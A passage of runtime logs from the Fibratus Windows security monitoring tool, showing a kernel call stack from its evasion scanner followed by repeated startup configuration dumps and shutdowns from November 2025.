C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff803d0f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff803d162a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff803d1463d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff803d14629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff803d12b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff803d12a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff803d1624004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff803d0e9315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff803d0e400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff803d12addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffdb6f8fd11 C:\Windows\System32\KernelBase.dll!GetProcAddress|0x7ffdb6fce0e4 C:\Windows\System32\KernelBase.dll!TestCreate|0x7ffdb6fcdf56 C:\Windows\System32\KernelBase.dll!TestCreate|0x7ffdb6fcbede C:\Windows\System32\KernelBase.dll!GetLocaleInfoHelper|0x7ffdb6fcdeba C:\Windows\System32\KernelBase.dll!TestCreate|0x7ffdb6fcd0ed C:\Windows\System32\KernelBase.dll!CreateThreadpoolTimer|0x7ffdb6fca9ac C:\Windows\System32\KernelBase.dll!GetLocaleInfoHelper|0x7ffdb6fca5c7 C:\Windows\System32\KernelBase.dll!GetLocaleInfoHelper|0x7ffdb6fca531 C:\Windows\System32\KernelBase.dll!GetLocaleInfoHelper|0x7ffdb98d2e59 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffdb98d63cd C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffdb930e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffdb98ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T23:20:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary source=pe/parser.go:240 +time=2025-11-24T23:20:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary source=pe/parser.go:240 +time=2025-11-24T23:20:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T23:20:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T23:20:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T23:57:51+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T23:57:51+01:00 level=info msg=bootstrapping with pid 7212. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T23:57:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ stack-enrichment=>true min-buffers=>16 enable-registry=>true enable-vamap=>true max-buffers=>36 enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 flush-interval=>1s enable-thread=>true enable-dns=>false enable-audit-api=>true enable-image=>true enable-fileio=>true enable-handle=>false enable-threadpool=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text level=>info log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] http=>[ enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s serializer=>json endpoints=>[] method=>POST] elasticsearch=>[ flush-period=>1s healthcheck-timeout=>5s healthcheck-interval=>10s healthcheck=>true trace-log=>false enabled=>false template-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200] sniff=>false timeout=>5s bulk-workers=>1 index-name=>fibratus] amqp=>[ routing-key=>fibratus tls-insecure-skip-verify=>false durable=>false url=>amqp://localhost:5672 passive=>false enabled=>false exchange-type=>topic delivery-mode=>transient vhost=>/ exchange=>fibratus timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true scan-timeout=>10s skip-files=>false enabled=>false skip-mmaps=>false skip-allocs=>false skip-registry=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T23:57:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T23:57:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:10:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T00:10:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:10:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:11:14+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T00:11:14+01:00 level=info msg=bootstrapping with pid 13076. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T00:11:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html use-template=>true port=>25 to=>[]] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ stack-enrichment=>true enable-vamap=>true enable-threadpool=>false flush-interval=>1s enable-net=>true max-buffers=>36 enable-handle=>false buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-dns=>false enable-mem=>false enable-image=>true min-buffers=>16 enable-thread=>true enable-registry=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-size=>100 max-backups=>15 max-age=>0] + output ......................... [ elasticsearch=>[ healthcheck=>true flush-period=>1s gzip-compression=>false timeout=>5s sniff=>false healthcheck-interval=>10s index-name=>fibratus trace-log=>false healthcheck-timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] enabled=>false template-name=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + format=>pretty enabled=>true] amqp=>[ enabled=>false routing-key=>fibratus exchange-type=>topic vhost=>/ url=>amqp://localhost:5672 delivery-mode=>transient exchange=>fibratus durable=>false tls-insecure-skip-verify=>false passive=>false timeout=>5s] http=>[ enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false enabled=>false method=>POST timeout=>5s endpoints=>[]] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] excluded-files=>[] skip-mmaps=>false skip-files=>false scan-timeout=>10s skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T00:11:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:11:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:12:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T00:12:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:12:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:14:23+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T00:14:23+01:00 level=info msg=bootstrapping with pid 17316. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T00:14:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-handle=>false max-buffers=>36 enable-mem=>false enable-registry=>true enable-vamap=>true enable-audit-api=>true buffer-size=>512 enable-image=>true stack-enrichment=>true enable-threadpool=>false enable-thread=>true enable-fileio=>true min-buffers=>16 enable-net=>true flush-interval=>1s enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 log-stdout=>true max-backups=>15 level=>info formatter=>text] + output ......................... [ elasticsearch=>[ bulk-workers=>1 index-name=>fibratus trace-log=>false timeout=>5s flush-period=>1s healthcheck-timeout=>5s template-name=>fibratus healthcheck=>true sniff=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-interval=>10s] amqp=>[ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus vhost=>/ exchange=>fibratus enabled=>false exchange-type=>topic delivery-mode=>transient timeout=>5s passive=>false durable=>false] http=>[ method=>POST timeout=>5s serializer=>json enable-gzip=>false endpoints=>[] enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} +]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true excluded-procs=>[] skip-files=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-allocs=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T00:14:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:14:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:14:48+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T00:14:48+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:14:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:18:06+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T00:18:06+01:00 level=info msg=bootstrapping with pid 11452. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T00:18:06+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html port=>25 use-template=>true enabled=>false to=>[]] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-registry=>true stack-enrichment=>true enable-mem=>false enable-vamap=>true max-buffers=>36 flush-interval=>1s min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-fileio=>true enable-audit-api=>true enable-image=>true enable-thread=>true enable-dns=>false enable-threadpool=>false enable-handle=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info max-age=>0 formatter=>text max-size=>100] + output ......................... [ http=>[ enable-gzip=>false timeout=>5s method=>POST enabled=>false endpoints=>[] tls-insecure-skip-verify=>false serializer=>json] elasticsearch=>[ healthcheck-interval=>10s index-name=>fibratus gzip-compression=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] trace-log=>false timeout=>5s enabled=>false template-name=>fibratus sniff=>false healthcheck=>true healthcheck-timeout=>5s flush-period=>1s] eventlog=>[ level=>info enabled=>false] amqp=>[ exchange-type=>topic delivery-mode=>transient url=>amqp://localhost:5672 passive=>false exchange=>fibratus enabled=>false timeout=>5s tls-insecure-skip-verify=>false vhost=>/ routing-key=>fibratus durable=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + enabled=>true]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-files=>false excluded-files=>[] skip-registry=>false skip-allocs=>false excluded-procs=>[] scan-timeout=>10s fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-25T00:18:06+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:18:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:18:23+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T00:18:23+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:18:23+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:19:21+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T00:19:21+01:00 level=info msg=bootstrapping with pid 13452. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T00:19:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true to=>[] port=>25 enabled=>false content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ stack-enrichment=>true enable-threadpool=>false enable-audit-api=>true enable-thread=>true enable-net=>true enable-registry=>true enable-image=>true max-buffers=>36 enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-handle=>false flush-interval=>1s min-buffers=>16 enable-mem=>false buffer-size=>512 enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 max-age=>0 level=>info max-backups=>15 log-stdout=>true] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false] amqp=>[ url=>amqp://localhost:5672 routing-key=>fibratus passive=>false exchange-type=>topic exchange=>fibratus delivery-mode=>transient vhost=>/ timeout=>5s durable=>false tls-insecure-skip-verify=>false enabled=>false] elasticsearch=>[ bulk-workers=>1 timeout=>5s index-name=>fibratus servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-interval=>10s template-name=>fibratus flush-period=>1s gzip-compression=>false sniff=>false trace-log=>false healthcheck-timeout=>5s healthcheck=>true] http=>[ enable-gzip=>false method=>POST enabled=>false serializer=>json endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false fastscan=>true excluded-procs=>[] skip-registry=>false excluded-files=>[] skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T00:19:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:19:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:19:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T00:19:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:19:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:20:12+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T00:20:12+01:00 level=info msg=bootstrapping with pid 13152. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T00:20:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false port=>25 content-type=>text/html to=>[]] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-handle=>false min-buffers=>16 enable-mem=>false enable-registry=>true max-buffers=>36 enable-net=>true enable-image=>true enable-thread=>true enable-dns=>false enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true stack-enrichment=>true flush-interval=>1s enable-threadpool=>false buffer-size=>512 enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 log-stdout=>true max-age=>0 level=>info] + output ......................... [ elasticsearch=>[ flush-period=>1s sniff=>false timeout=>5s servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck=>true healthcheck-timeout=>5s healthcheck-interval=>10s gzip-compression=>false trace-log=>false bulk-workers=>1 enabled=>false index-name=>fibratus] amqp=>[ routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false exchange-type=>topic url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s vhost=>/ passive=>false durable=>false] http=>[ enable-gzip=>false enabled=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false endpoints=>[] method=>POST] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} +]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-allocs=>false skip-registry=>false excluded-procs=>[] scan-timeout=>10s excluded-files=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T00:20:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:20:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:20:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T00:20:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:20:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:22:05+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T00:22:05+01:00 level=info msg=bootstrapping with pid 10748. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T00:22:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ port=>25 to=>[] enabled=>false content-type=>text/html use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-thread=>true enable-threadpool=>false enable-vamap=>true enable-audit-api=>true max-buffers=>36 min-buffers=>16 enable-image=>true enable-registry=>true buffer-size=>512 enable-mem=>false enable-handle=>false enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true flush-interval=>1s enable-dns=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 log-stdout=>true max-size=>100 formatter=>text level=>info] + output ......................... [ amqp=>[ durable=>false url=>amqp://localhost:5672 timeout=>5s enabled=>false exchange=>fibratus routing-key=>fibratus tls-insecure-skip-verify=>false vhost=>/ delivery-mode=>transient exchange-type=>topic passive=>false] eventlog=>[ level=>info enabled=>false] http=>[ enabled=>false tls-insecure-skip-verify=>false method=>POST endpoints=>[] serializer=>json timeout=>5s enable-gzip=>false] elasticsearch=>[ index-name=>fibratus flush-period=>1s bulk-workers=>1 sniff=>false template-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s enabled=>false gzip-compression=>false healthcheck=>true trace-log=>false timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} + format=>pretty]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false enabled=>false excluded-procs=>[] excluded-files=>[] fastscan=>true scan-timeout=>10s skip-mmaps=>false skip-allocs=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T00:22:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:22:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T00:22:51+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T00:22:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:22:52+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T00:23:02+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T00:23:02+01:00 level=info msg=bootstrapping with pid 1696. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T00:23:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 to=>[] content-type=>text/html enabled=>false use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-audit-api=>true buffer-size=>512 enable-handle=>false 